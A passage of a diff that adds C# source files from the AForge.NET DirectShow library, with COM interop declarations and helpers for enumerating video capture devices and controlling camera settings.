||||
bag = (IPropertyBag) bagObj;
|
||||
|
||||
// read FriendlyName
|
||||
object val = "";
|
||||
var hr = bag.Read("FriendlyName", ref val, IntPtr.Zero);
|
||||
if (hr != 0) Marshal.ThrowExceptionForHR(hr);
|
||||
|
||||
// get it as string
|
||||
var ret = (string) val;
|
||||
if (string.IsNullOrEmpty(ret)) throw new ApplicationException();
|
||||
|
||||
return ret;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return "";
|
||||
}
|
||||
finally
|
||||
{
|
||||
// release all COM objects
|
||||
bag = null;
|
||||
if (bagObj != null)
|
||||
{
|
||||
Marshal.ReleaseComObject(bagObj);
|
||||
bagObj = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Get filter name represented by the moniker string
|
||||
//
|
||||
private string GetName(string monikerString)
|
||||
{
|
||||
IBindCtx bindCtx = null;
|
||||
IMoniker moniker = null;
|
||||
var name = "";
|
||||
var n = 0;
|
||||
|
||||
// create bind context
|
||||
if (Win32.CreateBindCtx(0, out bindCtx) == 0)
|
||||
{
|
||||
// convert moniker`s string to a moniker
|
||||
if (Win32.MkParseDisplayName(bindCtx, monikerString, ref n, out moniker) == 0)
|
||||
{
|
||||
// get device name
|
||||
name = GetName(moniker);
|
||||
|
||||
Marshal.ReleaseComObject(moniker);
|
||||
moniker = null;
|
||||
}
|
||||
|
||||
Marshal.ReleaseComObject(bindCtx);
|
||||
bindCtx = null;
|
||||
}
|
||||
|
||||
return name;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,131 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
/// <summary>
|
||||
/// Collection of filters' information objects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>The class allows to enumerate DirectShow filters of specified category. For
|
||||
/// a list of categories see <see cref="FilterCategory"/>.</para>
|
||||
///
|
||||
/// <para>Sample usage:</para>
|
||||
/// <code>
|
||||
/// // enumerate video devices
|
||||
/// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );
|
||||
/// // list devices
|
||||
/// foreach ( FilterInfo device in videoDevices )
|
||||
/// {
|
||||
/// // ...
|
||||
/// }
|
||||
/// </code>
|
||||
/// </remarks>
|
||||
///
|
||||
public class FilterInfoCollection : CollectionBase
|
||||
{
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfoCollection"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Guid of DirectShow filter category. See <see cref="FilterCategory"/>.</param>
|
||||
///
|
||||
/// <remarks>Build collection of filters' information objects for the
|
||||
/// specified filter category.</remarks>
|
||||
///
|
||||
public FilterInfoCollection(Guid category)
|
||||
{
|
||||
CollectFilters(category);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get filter information object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="index">Index of filter information object to retrieve.</param>
|
||||
///
|
||||
/// <returns>Filter information object.</returns>
|
||||
///
|
||||
public FilterInfo this[int index] => (FilterInfo) InnerList[index];
|
||||
|
||||
// Collect filters of specified category
|
||||
private void CollectFilters(Guid category)
|
||||
{
|
||||
object comObj = null;
|
||||
ICreateDevEnum enumDev = null;
|
||||
IEnumMoniker enumMon = null;
|
||||
var devMon = new IMoniker[1];
|
||||
int hr;
|
||||
|
||||
try
|
||||
{
|
||||
// Get the system device enumerator
|
||||
var srvType = Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum);
|
||||
if (srvType == null) throw new ApplicationException("Failed creating device enumerator");
|
||||
|
||||
// create device enumerator
|
||||
comObj = Activator.CreateInstance(srvType);
|
||||
enumDev = (ICreateDevEnum) comObj;
|
||||
|
||||
// Create an enumerator to find filters of specified category
|
||||
hr = enumDev.CreateClassEnumerator(ref category, out enumMon, 0);
|
||||
if (hr != 0) throw new ApplicationException("No devices of the category");
|
||||
|
||||
// Collect all filters
|
||||
var n = IntPtr.Zero;
|
||||
while (true)
|
||||
{
|
||||
// Get next filter
|
||||
hr = enumMon.Next(1, devMon, n);
|
||||
if (hr != 0 || devMon[0] == null) break;
|
||||
|
||||
// Add the filter
|
||||
var filter = new FilterInfo(devMon[0]);
|
||||
InnerList.Add(filter);
|
||||
|
||||
// Release COM object
|
||||
Marshal.ReleaseComObject(devMon[0]);
|
||||
devMon[0] = null;
|
||||
}
|
||||
|
||||
// Sort the collection
|
||||
InnerList.Sort();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
// release all COM objects
|
||||
enumDev = null;
|
||||
if (comObj != null)
|
||||
{
|
||||
Marshal.ReleaseComObject(comObj);
|
||||
comObj = null;
|
||||
}
|
||||
|
||||
if (enumMon != null)
|
||||
{
|
||||
Marshal.ReleaseComObject(enumMon);
|
||||
enumMon = null;
|
||||
}
|
||||
|
||||
if (devMon[0] != null)
|
||||
{
|
||||
Marshal.ReleaseComObject(devMon[0]);
|
||||
devMon[0] = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,80 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment,
|
||||
/// or shutter speed. To obtain this interface, query the filter that controls the camera.
|
||||
/// </summary>
|
||||
[ComImport]
|
||||
[Guid("C6E13370-30AC-11d0-A18C-00A0C9118956")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IAMCameraControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets the range and default value of a specified camera property.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to query.</param>
|
||||
/// <param name="pMin">Receives the minimum value of the property.</param>
|
||||
/// <param name="pMax">Receives the maximum value of the property.</param>
|
||||
/// <param name="pSteppingDelta">Receives the step size for the property.</param>
|
||||
/// <param name="pDefault">Receives the default value of the property. </param>
|
||||
/// <param name="pCapsFlags">Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetRange(
|
||||
[In] CameraControlProperty Property,
|
||||
[Out] out int pMin,
|
||||
[Out] out int pMax,
|
||||
[Out] out int pSteppingDelta,
|
||||
[Out] out int pDefault,
|
||||
[Out] out CameraControlFlags pCapsFlags
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Sets a specified property on the camera.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to set.</param>
|
||||
/// <param name="lValue">Specifies the new value of the property.</param>
|
||||
/// <param name="Flags">Specifies the desired control setting, as a member of the CameraControlFlags enumeration.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Set(
|
||||
[In] CameraControlProperty Property,
|
||||
[In] int lValue,
|
||||
[In] CameraControlFlags Flags
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Gets the current setting of a camera property.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to retrieve.</param>
|
||||
/// <param name="lValue">Receives the value of the property.</param>
|
||||
/// <param name="Flags">Receives a member of the CameraControlFlags enumeration.
|
||||
/// The returned value indicates whether the setting is controlled manually or automatically.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Get(
|
||||
[In] CameraControlProperty Property,
|
||||
[Out] out int lValue,
|
||||
[Out] out CameraControlFlags Flags
|
||||
);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,89 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter.
|
||||
/// </summary>
|
||||
[ComImport]
|
||||
[SuppressUnmanagedCodeSecurity]
|
||||
[Guid("C6E13380-30AC-11D0-A18C-00A0C9118956")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IAMCrossbar
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the number of input and output pins on the crossbar filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinCount">Variable that receives the number of output pins.</param>
|
||||
/// <param name="inputPinCount">Variable that receives the number of input pins.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_PinCounts([Out] out int outputPinCount, [Out] out int inputPinCount);
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether a specified input pin can be routed to a specified output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Specifies the index of input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CanRoute([In] int outputPinIndex, [In] int inputPinIndex);
|
||||
|
||||
/// <summary>
|
||||
/// Routes an input pin to an output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Specifies the index of the input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Route([In] int outputPinIndex, [In] int inputPinIndex);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the input pin that is currently routed to the specified output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_IsRoutedTo([In] int outputPinIndex, [Out] out int inputPinIndex);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="isInputPin">Specifies the direction of the pin. Use one of the following values.</param>
|
||||
/// <param name="pinIndex">Specifies the index of the pin.</param>
|
||||
/// <param name="pinIndexRelated">Variable that receives the index of the related pin, or –1 if no pin is related to this pin.</param>
|
||||
/// <param name="physicalType">Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_CrossbarPinInfo(
|
||||
[In] [MarshalAs(UnmanagedType.Bool)] bool isInputPin,
|
||||
[In] int pinIndex,
|
||||
[Out] out int pinIndexRelated,
|
||||
[Out] out PhysicalConnectorType physicalType);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,75 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// This interface sets the output format on certain capture and compression filters,
|
||||
/// for both audio and video.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("C6E13340-30AC-11d0-A18C-00A0C9118956")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IAMStreamConfig
|
||||
{
|
||||
/// <summary>
|
||||
/// Set the output format on the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Media type to set.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetFormat([In] [MarshalAs(UnmanagedType.LPStruct)] AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the audio or video stream's format.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Retrieved media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFormat([Out] [MarshalAs(UnmanagedType.LPStruct)] out AMMediaType mediaType);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve the number of format capabilities that this pin supports.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="count">Variable that receives the number of format capabilities.</param>
|
||||
/// <param name="size">Variable that receives the size of the configuration structure in bytes.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetNumberOfCapabilities(out int count, out int size);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve a set of format capabilities.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="index">Specifies the format capability to retrieve, indexed from zero.</param>
|
||||
/// <param name="mediaType">Retrieved media type.</param>
|
||||
/// <param name="streamConfigCaps">Byte array, which receives information about capabilities.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetStreamCaps(
|
||||
[In] int index,
|
||||
[Out] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
out AMMediaType mediaType,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
VideoStreamConfigCaps streamConfigCaps
|
||||
);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,113 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2011
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The interface controls certain video capture operations such as enumerating available
|
||||
/// frame rates and image orientation.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("6A2E0670-28E4-11D0-A18c-00A0C9118956")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IAMVideoControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the capabilities of the underlying hardware.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">Pin to query capabilities from.</param>
|
||||
/// <param name="flags">Get capabilities of the specified pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCaps([In] IPin pin, [Out] [MarshalAs(UnmanagedType.I4)] out VideoControlFlags flags);
|
||||
|
||||
/// <summary>
|
||||
/// Sets the video control mode of operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to set the video control mode on.</param>
|
||||
/// <param name="mode">Value specifying a combination of the flags to set the video control mode.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetMode([In] IPin pin, [In] [MarshalAs(UnmanagedType.I4)] VideoControlFlags mode);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the video control mode of operation.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the video control mode from.</param>
|
||||
/// <param name="mode">Gets combination of flags, which specify the video control mode.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetMode([In] IPin pin, [Out] [MarshalAs(UnmanagedType.I4)] out VideoControlFlags mode);
|
||||
|
||||
/// <summary>
|
||||
/// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units.
|
||||
/// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested
|
||||
/// because of bandwidth availability. This is only available during video streaming.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the frame rate from.</param>
|
||||
/// <param name="actualFrameRate">Gets frame rate in frame duration in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetCurrentActualFrameRate([In] IPin pin, [Out] [MarshalAs(UnmanagedType.I8)] out long actualFrameRate);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections
|
||||
/// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth
|
||||
/// availability.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
|
||||
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
|
||||
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
|
||||
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
|
||||
/// <param name="maxAvailableFrameRate">Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetMaxAvailableFrameRate([In] IPin pin, [In] int index,
|
||||
[In] Size dimensions,
|
||||
[Out] out long maxAvailableFrameRate);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a list of available frame rates.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="pin">The pin to retrieve the maximum frame rate from.</param>
|
||||
/// <param name="index">Index of the format to query for maximum frame rate. This index corresponds
|
||||
/// to the order in which formats are enumerated by <see cref="IAMStreamConfig.GetStreamCaps"/>.</param>
|
||||
/// <param name="dimensions">Frame image size (width and height) in pixels.</param>
|
||||
/// <param name="listSize">Number of elements in the list of frame rates.</param>
|
||||
/// <param name="frameRate">Array of frame rates in 100-nanosecond units.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFrameRateList([In] IPin pin, [In] int index,
|
||||
[In] Size dimensions,
|
||||
[Out] out int listSize,
|
||||
[Out] out IntPtr frameRate);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,161 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2007
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The IBaseFilter interface provides methods for controlling a filter.
|
||||
/// All DirectShow filters expose this interface
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("56A86895-0AD4-11CE-B03A-0020AF0BA770")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface IBaseFilter
|
||||
{
|
||||
// --- IPersist Methods
|
||||
|
||||
/// <summary>
|
||||
/// Returns the class identifier (CLSID) for the component object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="ClassID">Points to the location of the CLSID on return.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetClassID([Out] out Guid ClassID);
|
||||
|
||||
// --- IMediaFilter Methods
|
||||
|
||||
/// <summary>
|
||||
/// Stops the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Stop();
|
||||
|
||||
/// <summary>
|
||||
/// Pauses the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Pause();
|
||||
|
||||
/// <summary>
|
||||
/// Runs the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="start">Reference time corresponding to stream time 0.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Run(long start);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the state of the filter (running, stopped, or paused).
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="milliSecsTimeout">Time-out interval, in milliseconds.</param>
|
||||
/// <param name="filterState">Pointer to a variable that receives filter's state.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetState(int milliSecsTimeout, [Out] out int filterState);
|
||||
|
||||
/// <summary>
|
||||
/// Sets the reference clock for the filter or the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="clock">Pointer to the clock's <b>IReferenceClock</b> interface, or NULL. </param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetSyncSource([In] IntPtr clock);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the current reference clock.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="clock">Address of a variable that receives a pointer to the clock's IReferenceClock interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetSyncSource([Out] out IntPtr clock);
|
||||
|
||||
// --- IBaseFilter Methods
|
||||
|
||||
/// <summary>
|
||||
/// Enumerates the pins on this filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="enumPins">Address of a variable that receives a pointer to the IEnumPins interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int EnumPins([Out] out IEnumPins enumPins);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the pin with the specified identifier.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="id">Pointer to a constant wide-character string that identifies the pin.</param>
|
||||
/// <param name="pin">Address of a variable that receives a pointer to the pin's IPin interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindPin([In] [MarshalAs(UnmanagedType.LPWStr)] string id, [Out] out IPin pin);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filterInfo">Pointer to <b>FilterInfo</b> structure.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryFilterInfo([Out] out FilterInfo filterInfo);
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the filter that it has joined or left the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graph">Pointer to the Filter Graph Manager's <b>IFilterGraph</b> interface, or NULL
|
||||
/// if the filter is leaving the graph.</param>
|
||||
/// <param name="name">String that specifies a name for the filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int JoinFilterGraph([In] IFilterGraph graph, [In] [MarshalAs(UnmanagedType.LPWStr)] string name);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves a string containing vendor information.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="vendorInfo">Receives a string containing the vendor information.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int QueryVendorInfo([Out] [MarshalAs(UnmanagedType.LPWStr)] out string vendorInfo);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,207 @@
|
|||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright ?Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// This interface builds capture graphs and other custom filter graphs.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport]
|
||||
[Guid("93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ICaptureGraphBuilder2
|
||||
{
|
||||
/// <summary>
|
||||
/// Specify filter graph for the capture graph builder to use.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graphBuilder">Filter graph's interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetFiltergraph([In] IGraphBuilder graphBuilder);
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve the filter graph that the builder is using.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="graphBuilder">Filter graph's interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFiltergraph([Out] out IGraphBuilder graphBuilder);
|
||||
|
||||
/// <summary>
|
||||
/// Create file writing section of the filter graph.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="type">GUID that represents either the media subtype of the output or the
|
||||
/// class identifier (CLSID) of a multiplexer filter or file writer filter.</param>
|
||||
/// <param name="fileName">Output file name.</param>
|
||||
/// <param name="baseFilter">Receives the multiplexer's <see cref="IBaseFilter"/> interface.</param>
|
||||
/// <param name="fileSinkFilter">Receives the file writer's IFileSinkFilter interface. Can be NULL.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetOutputFileName(
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid type,
|
||||
[In] [MarshalAs(UnmanagedType.LPWStr)] string fileName,
|
||||
[Out] out IBaseFilter baseFilter,
|
||||
[Out] out IntPtr fileSinkFilter
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Searche the graph for a specified interface, starting from a specified filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">GUID that specifies the search criteria.</param>
|
||||
/// <param name="type">GUID that specifies the major media type of an output pin, or NULL.</param>
|
||||
/// <param name="baseFilter"><see cref="IBaseFilter"/> interface of the filter. The method begins searching from this filter.</param>
|
||||
/// <param name="interfaceID">Interface identifier (IID) of the interface to locate.</param>
|
||||
/// <param name="retInterface">Receives found interface.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int FindInterface(
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid category,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid type,
|
||||
[In] IBaseFilter baseFilter,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid interfaceID,
|
||||
[Out] [MarshalAs(UnmanagedType.IUnknown)]
|
||||
out object retInterface
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Major-type GUID that specifies the media type of the output pin.</param>
|
||||
/// <param name="source">Starting filter for the connection.</param>
|
||||
/// <param name="compressor">Interface of an intermediate filter, such as a compression filter. Can be NULL.</param>
|
||||
/// <param name="renderer">Sink filter, such as a renderer or mux filter.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int RenderStream(
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid category,
|
||||
[In] [MarshalAs(UnmanagedType.LPStruct)]
|
||||
Guid mediaType,
|
||||
[In] [MarshalAs(UnmanagedType.IUnknown)]
|
||||
object source,
|
||||
[In] IBaseFilter compressor,
|
||||
[In] IBaseFilter renderer
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Set the start and stop times for one or more streams of captured data.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Pin category.</param>
|
||||
/// <param name="mediaType">Major-type GUID that specifies the media type.</param>
|
||||
/// <param name="filter"><see cref="IBaseFilter"/> interface that specifies which filter to control.</param>
|
||||
/// <param name="start">Start time.</param>
|
||||
/// <param name="stop">Stop time.</param>
|
||||
